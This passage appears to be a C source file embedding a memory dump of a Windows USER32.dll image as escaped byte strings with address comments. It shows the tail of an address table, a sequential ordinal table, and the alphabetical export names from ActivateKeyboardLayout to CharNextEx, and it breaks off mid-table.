\"\\x11\\x81\\x00\\x00\\x26\\x81\\x00\\x00\\x3C\\x81\\x00\\x00\\x52\\x81\\x00\\x00\"   //....&...<...R...\n/* 7E416580 */   \"\\x67\\x81\\x00\\x00\\x78\\x81\\x00\\x00\\x8B\\x81\\x00\\x00\\x9A\\x81\\x00\\x00\"   //g...x...........\n/* 7E4165A0 */   \"\\xAC\\x81\\x00\\x00\\xC0\\x81\\x00\\x00\\xCA\\x81\\x00\\x00\\xDF\\x81\\x00\\x00\"   //....À...Ê...ß...\n/* 7E4165C0 */   \"\\xF3\\x81\\x00\\x00\\x03\\x82\\x00\\x00\\x14\\x82\\x00\\x00\\x25\\x82\\x00\\x00\"   //ó...........%...\n/* 7E4165E0 */   \"\\x42\\x82\\x00\\x00\\x53\\x82\\x00\\x00\\x6D\\x82\\x00\\x00\\x83\\x82\\x00\\x00\"   //B...S...m.......\n/* 7E416600 */   \"\\x97\\x82\\x00\\x00\\xB5\\x82\\x00\\x00\\xC2\\x82\\x00\\x00\\xE0\\x82\\x00\\x00\"   //........Â...à...\n/* 7E416620 */   \"\\xF8\\x82\\x00\\x00\\x0E\\x83\\x00\\x00\\x20\\x83\\x00\\x00\\x35\\x83\\x00\\x00\"   //ø...........5...\n/* 7E416640 */   \"\\x48\\x83\\x00\\x00\\x60\\x83\\x00\\x00\\x6B\\x83\\x00\\x00\\x76\\x83\\x00\\x00\"   //H...`...k...v...\n/* 7E416660 */   \"\\x83\\x83\\x00\\x00\\x8F\\x83\\x00\\x00\\x9A\\x83\\x00\\x00\\xA7\\x83\\x00\\x00\"   //................\n/* 7E416680 */   \"\\xB4\\x83\\x00\\x00\\xBF\\x83\\x00\\x00\\xC9\\x83\\x00\\x00\\xD9\\x83\\x00\\x00\"   //........É...Ù...\n/* 7E4166A0 */   \"\\xEF\\x83\\x00\\x00\\x02\\x84\\x00\\x00\\x13\\x84\\x00\\x00\\x1F\\x84\\x00\\x00\"   //ï...............\n/* 7E4166C0 */   \"\\x38\\x84\\x00\\x00\\x41\\x84\\x00\\x00\\x4A\\x84\\x00\\x00\\x57\\x84\\x00\\x00\"   //8...A...J...W...\n/* 7E4166E0 */   \"\\x67\\x84\\x00\\x00\\x73\\x84\\x00\\x00\\x7F\\x84\\x00\\x00\\x89\\x84\\x00\\x00\"   //g...s...........\n/* 7E416700 */   \"\\x93\\x84\\x00\\x00\\x9E\\x84\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x03\\x00\"   //................\n/* 7E416720 */   \"\\x04\\x00\\x05\\x00\\x06\\x00\\x07\\x00\\x08\\x00\\x09\\x00\\x0A\\x00\\x0B\\x00\"   //................\n/* 7E416740 */   \"\\x0C\\x00\\x0D\\x00\\x0E\\x00\\x0F\\x00\\x10\\x00\\x11\\x00\\x12\\x00\\x13\\x00\"   //................\n/* 7E416760 */   \"\\x14\\x00\\x15\\x00\\x16\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\x1A\\x00\\x1B\\x00\"   //................\n/* 7E416780 */   \"\\x1C\\x00\\x1D\\x00\\x1E\\x00\\x1F\\x00\\x20\\x00\\x21\\x00\\x22\\x00\\x23\\x00\"   //..........!.\".#.\n/* 7E4167A0 */   \"\\x24\\x00\\x25\\x00\\x26\\x00\\x27\\x00\\x28\\x00\\x29\\x00\\x2A\\x00\\x2B\\x00\"   //$.%.&.'.(.).*.+.\n/* 7E4167C0 */   \"\\x2C\\x00\\x2D\\x00\\x2E\\x00\\x2F\\x00\\x30\\x00\\x31\\x00\\x32\\x00\\x33\\x00\"   //,.-.../.0.1.2.3.\n/* 7E4167E0 */   \"\\x34\\x00\\x35\\x00\\x36\\x00\\x37\\x00\\x38\\x00\\x39\\x00\\x3A\\x00\\x3B\\x00\"   //4.5.6.7.8.9.:.;.\n/* 7E416800 */   \"\\x3C\\x00\\x3D\\x00\\x3E\\x00\\x3F\\x00\\x40\\x00\\x41\\x00\\x42\\x00\\x43\\x00\"   //<.=.>.?.@.A.B.C.\n/* 7E416820 */   \"\\x44\\x00\\x45\\x00\\x46\\x00\\x47\\x00\\x48\\x00\\x49\\x00\\x4A\\x00\\x4B\\x00\"   //D.E.F.G.H.I.J.K.\n/* 7E416840 */   \"\\x4C\\x00\\x4D\\x00\\x4E\\x00\\x4F\\x00\\x50\\x00\\x51\\x00\\x52\\x00\\x53\\x00\"   //L.M.N.O.P.Q.R.S.\n/* 7E416860 */   \"\\x54\\x00\\x55\\x00\\x56\\x00\\x57\\x00\\x58\\x00\\x59\\x00\\x5A\\x00\\x5B\\x00\"   //T.U.V.W.X.Y.Z.[.\n/* 7E416880 */   \"\\x5C\\x00\\x5D\\x00\\x5E\\x00\\x5F\\x00\\x60\\x00\\x61\\x00\\x62\\x00\\x63\\x00\"   //\\.].^._.`.a.b.c.\n/* 7E4168A0 */   \"\\x64\\x00\\x65\\x00\\x66\\x00\\x67\\x00\\x68\\x00\\x69\\x00\\x6A\\x00\\x6B\\x00\"   //d.e.f.g.h.i.j.k.\n/* 7E4168C0 */   \"\\x6C\\x00\\x6D\\x00\\x6E\\x00\\x6F\\x00\\x70\\x00\\x71\\x00\\x72\\x00\\x73\\x00\"   //l.m.n.o.p.q.r.s.\n/* 7E4168E0 */   \"\\x74\\x00\\x75\\x00\\x76\\x00\\x77\\x00\\x78\\x00\\x79\\x00\\x7A\\x00\\x7B\\x00\"   //t.u.v.w.x.y.z.{.\n/* 7E416900 */   \"\\x7C\\x00\\x7D\\x00\\x7E\\x00\\x7F\\x00\\x80\\x00\\x81\\x00\\x82\\x00\\x83\\x00\"   //|.}.~...........\n/* 7E416920 */   \"\\x84\\x00\\x85\\x00\\x86\\x00\\x87\\x00\\x88\\x00\\x89\\x00\\x8A\\x00\\x8B\\x00\"   //................\n/* 7E416940 */   \"\\x8C\\x00\\x8D\\x00\\x8E\\x00\\x8F\\x00\\x90\\x00\\x91\\x00\\x92\\x00\\x93\\x00\"   //................\n/* 7E416960 */   \"\\x94\\x00\\x95\\x00\\x96\\x00\\x97\\x00\\x98\\x00\\x99\\x00\\x9A\\x00\\x9B\\x00\"   //................\n/* 7E416980 */   \"\\x9C\\x00\\x9D\\x00\\x9E\\x00\\x9F\\x00\\xA0\\x00\\xA1\\x00\\xA2\\x00\\xA3\\x00\"   //................\n/* 7E4169A0 */   \"\\xA4\\x00\\xA5\\x00\\xA6\\x00\\xA7\\x00\\xA8\\x00\\xA9\\x00\\xAA\\x00\\xAB\\x00\"   //................\n/* 7E4169C0 */   \"\\xAC\\x00\\xAD\\x00\\xAE\\x00\\xAF\\x00\\xB0\\x00\\xB1\\x00\\xB2\\x00\\xB3\\x00\"   //................\n/* 7E4169E0 */   \"\\xB4\\x00\\xB5\\x00\\xB6\\x00\\xB7\\x00\\xB8\\x00\\xB9\\x00\\xBA\\x00\\xBB\\x00\"   //................\n/* 7E416A00 */   \"\\xBC\\x00\\xBD\\x00\\xBE\\x00\\xBF\\x00\\xC0\\x00\\xC1\\x00\\xC2\\x00\\xC3\\x00\"   //........À.Á.Â.Ã.\n/* 7E416A20 */   \"\\xC4\\x00\\xC5\\x00\\xC6\\x00\\xC7\\x00\\xC8\\x00\\xC9\\x00\\xCA\\x00\\xCB\\x00\"   //Ä.Å.Æ.Ç.È.É.Ê.Ë.\n/* 7E416A40 */   \"\\xCC\\x00\\xCD\\x00\\xCE\\x00\\xCF\\x00\\xD0\\x00\\xD1\\x00\\xD2\\x00\\xD3\\x00\"   //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó.\n/* 7E416A60 */   \"\\xD4\\x00\\xD5\\x00\\xD6\\x00\\xD7\\x00\\xD8\\x00\\xD9\\x00\\xDA\\x00\\xDB\\x00\"   //Ô.Õ.Ö.×.Ø.Ù.Ú.Û.\n/* 7E416A80 */   \"\\xDC\\x00\\xDD\\x00\\xDE\\x00\\xDF\\x00\\xE0\\x00\\xE1\\x00\\xE2\\x00\\xE3\\x00\"   //Ü.Ý.Þ.ß.à.á.â.ã.\n/* 7E416AA0 */   \"\\xE4\\x00\\xE5\\x00\\xE6\\x00\\xE7\\x00\\xE8\\x00\\xE9\\x00\\xEA\\x00\\xEB\\x00\"   //ä.å.æ.ç.è.é.ê.ë.\n/* 7E416AC0 */   \"\\xEC\\x00\\xED\\x00\\xEE\\x00\\xEF\\x00\\xF1\\x00\\xF0\\x00\\xF2\\x00\\xF3\\x00\"   //ì.í.î.ï.ñ.ð.ò.ó.\n/* 7E416AE0 */   \"\\xF4\\x00\\xF5\\x00\\xF6\\x00\\xF7\\x00\\xF8\\x00\\xF9\\x00\\xFA\\x00\\xFB\\x00\"   //ô.õ.ö.÷.ø.ù.ú.û.\n/* 7E416B00 */   \"\\xFC\\x00\\xFD\\x00\\xFE\\x00\\xFF\\x00\\x00\\x01\\x01\\x01\\x02\\x01\\x03\\x01\"   //ü.ý.þ.ÿ.........\n/* 7E416B20 */   \"\\x04\\x01\\x05\\x01\\x06\\x01\\x07\\x01\\x08\\x01\\x09\\x01\\x0A\\x01\\x0B\\x01\"   //................\n/* 7E416B40 */   \"\\x0C\\x01\\x0D\\x01\\x0E\\x01\\x0F\\x01\\x10\\x01\\x11\\x01\\x12\\x01\\x13\\x01\"   //................\n/* 7E416B60 */   \"\\x14\\x01\\x15\\x01\\x16\\x01\\x17\\x01\\x18\\x01\\x19\\x01\\x1A\\x01\\x1B\\x01\"   //................\n/* 7E416B80 */   \"\\x1C\\x01\\x1D\\x01\\x1E\\x01\\x1F\\x01\\x20\\x01\\x21\\x01\\x22\\x01\\x23\\x01\"   //..........!.\".#.\n/* 7E416BA0 */   \"\\x24\\x01\\x25\\x01\\x26\\x01\\x27\\x01\\x28\\x01\\x29\\x01\\x2A\\x01\\x2B\\x01\"   //$.%.&.'.(.).*.+.\n/* 7E416BC0 */   \"\\x2C\\x01\\x2D\\x01\\x2E\\x01\\x2F\\x01\\x30\\x01\\x31\\x01\\x32\\x01\\x33\\x01\"   //,.-.../.0.1.2.3.\n/* 7E416BE0 */   \"\\x34\\x01\\x35\\x01\\x36\\x01\\x37\\x01\\x38\\x01\\x39\\x01\\x3A\\x01\\x3B\\x01\"   //4.5.6.7.8.9.:.;.\n/* 7E416C00 */   \"\\x3C\\x01\\x3D\\x01\\x3E\\x01\\x3F\\x01\\x40\\x01\\x41\\x01\\x42\\x01\\x43\\x01\"   //<.=.>.?.@.A.B.C.\n/* 7E416C20 */   \"\\x44\\x01\\x45\\x01\\x46\\x01\\x47\\x01\\x48\\x01\\x49\\x01\\x4A\\x01\\x4B\\x01\"   //D.E.F.G.H.I.J.K.\n/* 7E416C40 */   \"\\x4C\\x01\\x4D\\x01\\x4E\\x01\\x4F\\x01\\x50\\x01\\x51\\x01\\x52\\x01\\x53\\x01\"   //L.M.N.O.P.Q.R.S.\n/* 7E416C60 */   \"\\x54\\x01\\x55\\x01\\x56\\x01\\x57\\x01\\x58\\x01\\x59\\x01\\x5A\\x01\\x5B\\x01\"   //T.U.V.W.X.Y.Z.[.\n/* 7E416C80 */   \"\\x5C\\x01\\x5D\\x01\\x5E\\x01\\x5F\\x01\\x60\\x01\\x61\\x01\\x62\\x01\\x63\\x01\"   //\\.].^._.`.a.b.c.\n/* 7E416CA0 */   \"\\x64\\x01\\x65\\x01\\x66\\x01\\x67\\x01\\x68\\x01\\x69\\x01\\x6A\\x01\\x6B\\x01\"   //d.e.f.g.h.i.j.k.\n/* 7E416CC0 */   \"\\x6C\\x01\\x6D\\x01\\x6E\\x01\\x6F\\x01\\x70\\x01\\x71\\x01\\x72\\x01\\x73\\x01\"   //l.m.n.o.p.q.r.s.\n/* 7E416CE0 */   \"\\x74\\x01\\x75\\x01\\x76\\x01\\x77\\x01\\x78\\x01\\x79\\x01\\x7A\\x01\\x7B\\x01\"   //t.u.v.w.x.y.z.{.\n/* 7E416D00 */   \"\\x7C\\x01\\x7D\\x01\\x7E\\x01\\x7F\\x01\\x80\\x01\\x81\\x01\\x82\\x01\\x83\\x01\"   //|.}.~...........\n/* 7E416D20 */   \"\\x84\\x01\\x85\\x01\\x86\\x01\\x87\\x01\\x88\\x01\\x89\\x01\\x8A\\x01\\x8B\\x01\"   //................\n/* 7E416D40 */   \"\\x8C\\x01\\x8D\\x01\\x8E\\x01\\x8F\\x01\\x90\\x01\\x91\\x01\\x92\\x01\\x93\\x01\"   //................\n/* 7E416D60 */   \"\\x94\\x01\\x95\\x01\\x96\\x01\\x97\\x01\\x98\\x01\\x99\\x01\\x9A\\x01\\x9B\\x01\"   //................\n/* 7E416D80 */   \"\\x9C\\x01\\x9D\\x01\\x9E\\x01\\x9F\\x01\\xA0\\x01\\xA1\\x01\\xA2\\x01\\xA3\\x01\"   //................\n/* 7E416DA0 */   \"\\xA4\\x01\\xA5\\x01\\xA6\\x01\\xA7\\x01\\xA8\\x01\\xA9\\x01\\xAA\\x01\\xAB\\x01\"   //................\n/* 7E416DC0 */   \"\\xAC\\x01\\xAD\\x01\\xAE\\x01\\xAF\\x01\\xB0\\x01\\xB1\\x01\\xB2\\x01\\xB3\\x01\"   //................\n/* 7E416DE0 */   \"\\xB4\\x01\\xB5\\x01\\xB6\\x01\\xB7\\x01\\xB8\\x01\\xB9\\x01\\xBA\\x01\\xBB\\x01\"   //................\n/* 7E416E00 */   \"\\xBC\\x01\\xBD\\x01\\xBE\\x01\\xBF\\x01\\xC0\\x01\\xC1\\x01\\xC2\\x01\\xC3\\x01\"   //........À.Á.Â.Ã.\n/* 7E416E20 */   \"\\xC4\\x01\\xC5\\x01\\xC6\\x01\\xC7\\x01\\xC8\\x01\\xC9\\x01\\xCA\\x01\\xCB\\x01\"   //Ä.Å.Æ.Ç.È.É.Ê.Ë.\n/* 7E416E40 */   \"\\xCC\\x01\\xCD\\x01\\xCE\\x01\\xCF\\x01\\xD0\\x01\\xD1\\x01\\xD2\\x01\\xD3\\x01\"   //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó.\n/* 7E416E60 */   \"\\xD4\\x01\\xD5\\x01\\xD6\\x01\\xD7\\x01\\xD8\\x01\\xD9\\x01\\xDA\\x01\\xDB\\x01\"   //Ô.Õ.Ö.×.Ø.Ù.Ú.Û.\n/* 7E416E80 */   \"\\xDC\\x01\\xDD\\x01\\xDE\\x01\\xDF\\x01\\xE0\\x01\\xE1\\x01\\xE2\\x01\\xE3\\x01\"   //Ü.Ý.Þ.ß.à.á.â.ã.\n/* 7E416EA0 */   \"\\xE4\\x01\\xE5\\x01\\xE6\\x01\\xE7\\x01\\xE8\\x01\\xE9\\x01\\xEA\\x01\\xEB\\x01\"   //ä.å.æ.ç.è.é.ê.ë.\n/* 7E416EC0 */   \"\\xEC\\x01\\xED\\x01\\xEE\\x01\\xEF\\x01\\xF0\\x01\\xF1\\x01\\xF2\\x01\\xF3\\x01\"   //ì.í.î.ï.ð.ñ.ò.ó.\n/* 7E416EE0 */   \"\\xF4\\x01\\xF5\\x01\\xF6\\x01\\xF7\\x01\\xF8\\x01\\xF9\\x01\\xFA\\x01\\xFB\\x01\"   //ô.õ.ö.÷.ø.ù.ú.û.\n/* 7E416F00 */   \"\\xFC\\x01\\xFD\\x01\\xFE\\x01\\xFF\\x01\\x00\\x02\\x01\\x02\\x02\\x02\\x03\\x02\"   //ü.ý.þ.ÿ.........\n/* 7E416F20 */   \"\\x04\\x02\\x05\\x02\\x06\\x02\\x07\\x02\\x08\\x02\\x09\\x02\\x0A\\x02\\x0B\\x02\"   //................\n/* 7E416F40 */   \"\\x0C\\x02\\x0D\\x02\\x0E\\x02\\x0F\\x02\\x10\\x02\\x11\\x02\\x12\\x02\\x13\\x02\"   //................\n/* 7E416F60 */   \"\\x14\\x02\\x15\\x02\\x16\\x02\\x17\\x02\\x18\\x02\\x19\\x02\\x1A\\x02\\x1B\\x02\"   //................\n/* 7E416F80 */   \"\\x1C\\x02\\x1D\\x02\\x1E\\x02\\x1F\\x02\\x20\\x02\\x21\\x02\\x22\\x02\\x23\\x02\"   //..........!.\".#.\n/* 7E416FA0 */   \"\\x24\\x02\\x25\\x02\\x26\\x02\\x27\\x02\\x28\\x02\\x29\\x02\\x2A\\x02\\x2B\\x02\"   //$.%.&.'.(.).*.+.\n/* 7E416FC0 */   \"\\x2C\\x02\\x2D\\x02\\x2E\\x02\\x2F\\x02\\x30\\x02\\x31\\x02\\x32\\x02\\x33\\x02\"   //,.-.../.0.1.2.3.\n/* 7E416FE0 */   \"\\x34\\x02\\x35\\x02\\x36\\x02\\x37\\x02\\x38\\x02\\x39\\x02\\x3A\\x02\\x3B\\x02\"   //4.5.6.7.8.9.:.;.\n/* 7E417000 */   \"\\x3C\\x02\\x3D\\x02\\x3E\\x02\\x3F\\x02\\x40\\x02\\x41\\x02\\x42\\x02\\x43\\x02\"   //<.=.>.?.@.A.B.C.\n/* 7E417020 */   \"\\x44\\x02\\x45\\x02\\x46\\x02\\x47\\x02\\x48\\x02\\x49\\x02\\x4A\\x02\\x4B\\x02\"   //D.E.F.G.H.I.J.K.\n/* 7E417040 */   \"\\x4C\\x02\\x4D\\x02\\x4E\\x02\\x4F\\x02\\x50\\x02\\x51\\x02\\x52\\x02\\x53\\x02\"   //L.M.N.O.P.Q.R.S.\n/* 7E417060 */   \"\\x54\\x02\\x55\\x02\\x56\\x02\\x57\\x02\\x58\\x02\\x59\\x02\\x5A\\x02\\x5B\\x02\"   //T.U.V.W.X.Y.Z.[.\n/* 7E417080 */   \"\\x5C\\x02\\x5D\\x02\\x5E\\x02\\x5F\\x02\\x60\\x02\\x61\\x02\\x62\\x02\\x63\\x02\"   //\\.].^._.`.a.b.c.\n/* 7E4170A0 */   \"\\x64\\x02\\x65\\x02\\x66\\x02\\x67\\x02\\x68\\x02\\x69\\x02\\x6A\\x02\\x6B\\x02\"   //d.e.f.g.h.i.j.k.\n/* 7E4170C0 */   \"\\x6C\\x02\\x6D\\x02\\x6E\\x02\\x6F\\x02\\x70\\x02\\x71\\x02\\x72\\x02\\x73\\x02\"   //l.m.n.o.p.q.r.s.\n/* 7E4170E0 */   \"\\x74\\x02\\x75\\x02\\x76\\x02\\x77\\x02\\x78\\x02\\x79\\x02\\x7A\\x02\\x7B\\x02\"   //t.u.v.w.x.y.z.{.\n/* 7E417100 */   \"\\x7C\\x02\\x7D\\x02\\x7E\\x02\\x7F\\x02\\x80\\x02\\x81\\x02\\x82\\x02\\x83\\x02\"   //|.}.~...........\n/* 7E417120 */   \"\\x84\\x02\\x85\\x02\\x86\\x02\\x87\\x02\\x88\\x02\\x89\\x02\\x8A\\x02\\x8B\\x02\"   //................\n/* 7E417140 */   \"\\x8C\\x02\\x8D\\x02\\x8E\\x02\\x8F\\x02\\x90\\x02\\x91\\x02\\x92\\x02\\x93\\x02\"   //................\n/* 7E417160 */   \"\\x94\\x02\\x95\\x02\\x96\\x02\\x97\\x02\\x98\\x02\\x99\\x02\\x9A\\x02\\x9B\\x02\"   //................\n/* 7E417180 */   \"\\x9C\\x02\\x9D\\x02\\x9E\\x02\\x9F\\x02\\xA0\\x02\\xA1\\x02\\xA2\\x02\\xA3\\x02\"   //................\n/* 7E4171A0 */   \"\\xA4\\x02\\xA5\\x02\\xA6\\x02\\xA7\\x02\\xA8\\x02\\xA9\\x02\\xAA\\x02\\xAB\\x02\"   //................\n/* 7E4171C0 */   \"\\xAC\\x02\\xAD\\x02\\xAE\\x02\\xAF\\x02\\xB0\\x02\\xB1\\x02\\xB2\\x02\\xB3\\x02\"   //................\n/* 7E4171E0 */   \"\\xB4\\x02\\xB5\\x02\\xB6\\x02\\xB7\\x02\\xB8\\x02\\xB9\\x02\\xBA\\x02\\xBB\\x02\"   //................\n/* 7E417200 */   \"\\xBC\\x02\\xBD\\x02\\xBE\\x02\\xBF\\x02\\xC0\\x02\\xC1\\x02\\xC2\\x02\\xC3\\x02\"   //........À.Á.Â.Ã.\n/* 7E417220 */   \"\\xC4\\x02\\xC5\\x02\\xC6\\x02\\xC7\\x02\\xC8\\x02\\xC9\\x02\\xCA\\x02\\xCB\\x02\"   //Ä.Å.Æ.Ç.È.É.Ê.Ë.\n/* 7E417240 */   \"\\xCC\\x02\\xCD\\x02\\xCE\\x02\\xCF\\x02\\xD0\\x02\\xD1\\x02\\xD2\\x02\\xD3\\x02\"   //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó.\n/* 7E417260 */   \"\\xD4\\x02\\xD5\\x02\\xD6\\x02\\xD7\\x02\\xD8\\x02\\xD9\\x02\\xDA\\x02\\xDB\\x02\"   //Ô.Õ.Ö.×.Ø.Ù.Ú.Û.\n/* 7E417280 */   \"\\x55\\x53\\x45\\x52\\x33\\x32\\x2E\\x64\\x6C\\x6C\\x00\\x41\\x63\\x74\\x69\\x76\"   //USER32.dll.Activ\n/* 7E4172A0 */   \"\\x61\\x74\\x65\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\\x4C\\x61\\x79\\x6F\\x75\"   //ateKeyboardLayou\n/* 7E4172C0 */   \"\\x74\\x00\\x41\\x64\\x6A\\x75\\x73\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x52\\x65\"   //t.AdjustWindowRe\n/* 7E4172E0 */   \"\\x63\\x74\\x00\\x41\\x64\\x6A\\x75\\x73\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x52\"   //ct.AdjustWindowR\n/* 7E417300 */   \"\\x65\\x63\\x74\\x45\\x78\\x00\\x41\\x6C\\x69\\x67\\x6E\\x52\\x65\\x63\\x74\\x73\"   //ectEx.AlignRects\n/* 7E417320 */   \"\\x00\\x41\\x6C\\x6C\\x6F\\x77\\x46\\x6F\\x72\\x65\\x67\\x72\\x6F\\x75\\x6E\\x64\"   //.AllowForeground\n/* 7E417340 */   \"\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x00\\x41\\x6C\\x6C\\x6F\\x77\"   //Activation.Allow\n/* 7E417360 */   \"\\x53\\x65\\x74\\x46\\x6F\\x72\\x65\\x67\\x72\\x6F\\x75\\x6E\\x64\\x57\\x69\\x6E\"   //SetForegroundWin\n/* 7E417380 */   \"\\x64\\x6F\\x77\\x00\\x41\\x6E\\x69\\x6D\\x61\\x74\\x65\\x57\\x69\\x6E\\x64\\x6F\"   //dow.AnimateWindo\n/* 7E4173A0 */   \"\\x77\\x00\\x41\\x6E\\x79\\x50\\x6F\\x70\\x75\\x70\\x00\\x41\\x70\\x70\\x65\\x6E\"   //w.AnyPopup.Appen\n/* 7E4173C0 */   \"\\x64\\x4D\\x65\\x6E\\x75\\x41\\x00\\x41\\x70\\x70\\x65\\x6E\\x64\\x4D\\x65\\x6E\"   //dMenuA.AppendMen\n/* 7E4173E0 */   \"\\x75\\x57\\x00\\x41\\x72\\x72\\x61\\x6E\\x67\\x65\\x49\\x63\\x6F\\x6E\\x69\\x63\"   //uW.ArrangeIconic\n/* 7E417400 */   \"\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x00\\x41\\x74\\x74\\x61\\x63\\x68\\x54\\x68\"   //Windows.AttachTh\n/* 7E417420 */   \"\\x72\\x65\\x61\\x64\\x49\\x6E\\x70\\x75\\x74\\x00\\x42\\x65\\x67\\x69\\x6E\\x44\"   //readInput.BeginD\n/* 7E417440 */   \"\\x65\\x66\\x65\\x72\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x6F\\x73\\x00\\x42\\x65\"   //eferWindowPos.Be\n/* 7E417460 */   \"\\x67\\x69\\x6E\\x50\\x61\\x69\\x6E\\x74\\x00\\x42\\x6C\\x6F\\x63\\x6B\\x49\\x6E\"   //ginPaint.BlockIn\n/* 7E417480 */   \"\\x70\\x75\\x74\\x00\\x42\\x72\\x69\\x6E\\x67\\x57\\x69\\x6E\\x64\\x6F\\x77\\x54\"   //put.BringWindowT\n/* 7E4174A0 */   \"\\x6F\\x54\\x6F\\x70\\x00\\x42\\x72\\x6F\\x61\\x64\\x63\\x61\\x73\\x74\\x53\\x79\"   //oTop.BroadcastSy\n/* 7E4174C0 */   \"\\x73\\x74\\x65\\x6D\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x42\\x72\\x6F\\x61\"   //stemMessage.Broa\n/* 7E4174E0 */   \"\\x64\\x63\\x61\\x73\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x4D\\x65\\x73\\x73\\x61\"   //dcastSystemMessa\n/* 7E417500 */   \"\\x67\\x65\\x41\\x00\\x42\\x72\\x6F\\x61\\x64\\x63\\x61\\x73\\x74\\x53\\x79\\x73\"   //geA.BroadcastSys\n/* 7E417520 */   \"\\x74\\x65\\x6D\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x45\\x78\\x41\\x00\\x42\\x72\"   //temMessageExA.Br\n/* 7E417540 */   \"\\x6F\\x61\\x64\\x63\\x61\\x73\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x4D\\x65\\x73\"   //oadcastSystemMes\n/* 7E417560 */   \"\\x73\\x61\\x67\\x65\\x45\\x78\\x57\\x00\\x42\\x72\\x6F\\x61\\x64\\x63\\x61\\x73\"   //sageExW.Broadcas\n/* 7E417580 */   \"\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x00\"   //tSystemMessageW.\n/* 7E4175A0 */   \"\\x42\\x75\\x69\\x6C\\x64\\x52\\x65\\x61\\x73\\x6F\\x6E\\x41\\x72\\x72\\x61\\x79\"   //BuildReasonArray\n/* 7E4175C0 */   \"\\x00\\x43\\x61\\x6C\\x63\\x4D\\x65\\x6E\\x75\\x42\\x61\\x72\\x00\\x43\\x61\\x6C\"   //.CalcMenuBar.Cal\n/* 7E4175E0 */   \"\\x6C\\x4D\\x73\\x67\\x46\\x69\\x6C\\x74\\x65\\x72\\x00\\x43\\x61\\x6C\\x6C\\x4D\"   //lMsgFilter.CallM\n/* 7E417600 */   \"\\x73\\x67\\x46\\x69\\x6C\\x74\\x65\\x72\\x41\\x00\\x43\\x61\\x6C\\x6C\\x4D\\x73\"   //sgFilterA.CallMs\n/* 7E417620 */   \"\\x67\\x46\\x69\\x6C\\x74\\x65\\x72\\x57\\x00\\x43\\x61\\x6C\\x6C\\x4E\\x65\\x78\"   //gFilterW.CallNex\n/* 7E417640 */   \"\\x74\\x48\\x6F\\x6F\\x6B\\x45\\x78\\x00\\x43\\x61\\x6C\\x6C\\x57\\x69\\x6E\\x64\"   //tHookEx.CallWind\n/* 7E417660 */   \"\\x6F\\x77\\x50\\x72\\x6F\\x63\\x41\\x00\\x43\\x61\\x6C\\x6C\\x57\\x69\\x6E\\x64\"   //owProcA.CallWind\n/* 7E417680 */   \"\\x6F\\x77\\x50\\x72\\x6F\\x63\\x57\\x00\\x43\\x61\\x73\\x63\\x61\\x64\\x65\\x43\"   //owProcW.CascadeC\n/* 7E4176A0 */   \"\\x68\\x69\\x6C\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x00\\x43\\x61\\x73\\x63\"   //hildWindows.Casc\n/* 7E4176C0 */   \"\\x61\\x64\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x00\\x43\\x68\\x61\\x6E\\x67\"   //adeWindows.Chang\n/* 7E4176E0 */   \"\\x65\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x43\\x68\\x61\\x69\\x6E\\x00\"   //eClipboardChain.\n/* 7E417700 */   \"\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x53\\x65\\x74\"   //ChangeDisplaySet\n/* 7E417720 */   \"\\x74\\x69\\x6E\\x67\\x73\\x41\\x00\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\\x69\\x73\"   //tingsA.ChangeDis\n/* 7E417740 */   \"\\x70\\x6C\\x61\\x79\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\\x73\\x45\\x78\\x41\\x00\"   //playSettingsExA.\n/* 7E417760 */   \"\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x53\\x65\\x74\"   //ChangeDisplaySet\n/* 7E417780 */   \"\\x74\\x69\\x6E\\x67\\x73\\x45\\x78\\x57\\x00\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\"   //tingsExW.ChangeD\n/* 7E4177A0 */   \"\\x69\\x73\\x70\\x6C\\x61\\x79\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\\x73\\x57\\x00\"   //isplaySettingsW.\n/* 7E4177C0 */   \"\\x43\\x68\\x61\\x6E\\x67\\x65\\x4D\\x65\\x6E\\x75\\x41\\x00\\x43\\x68\\x61\\x6E\"   //ChangeMenuA.Chan\n/* 7E4177E0 */   \"\\x67\\x65\\x4D\\x65\\x6E\\x75\\x57\\x00\\x43\\x68\\x61\\x72\\x4C\\x6F\\x77\\x65\"   //geMenuW.CharLowe\n/* 7E417800 */   \"\\x72\\x41\\x00\\x43\\x68\\x61\\x72\\x4C\\x6F\\x77\\x65\\x72\\x42\\x75\\x66\\x66\"   //rA.CharLowerBuff\n/* 7E417820 */   \"\\x41\\x00\\x43\\x68\\x61\\x72\\x4C\\x6F\\x77\\x65\\x72\\x42\\x75\\x66\\x66\\x57\"   //A.CharLowerBuffW\n/* 7E417840 */   \"\\x00\\x43\\x68\\x61\\x72\\x4C\\x6F\\x77\\x65\\x72\\x57\\x00\\x43\\x68\\x61\\x72\"   //.CharLowerW.Char\n/* 7E417860 */   \"\\x4E\\x65\\x78\\x74\\x41\\x00\\x43\\x68\\x61\\x72\\x4E\\x65\\x78\\x74\\x45\\x78\"   //NextA.CharNextEx\n/* 7E417880 */   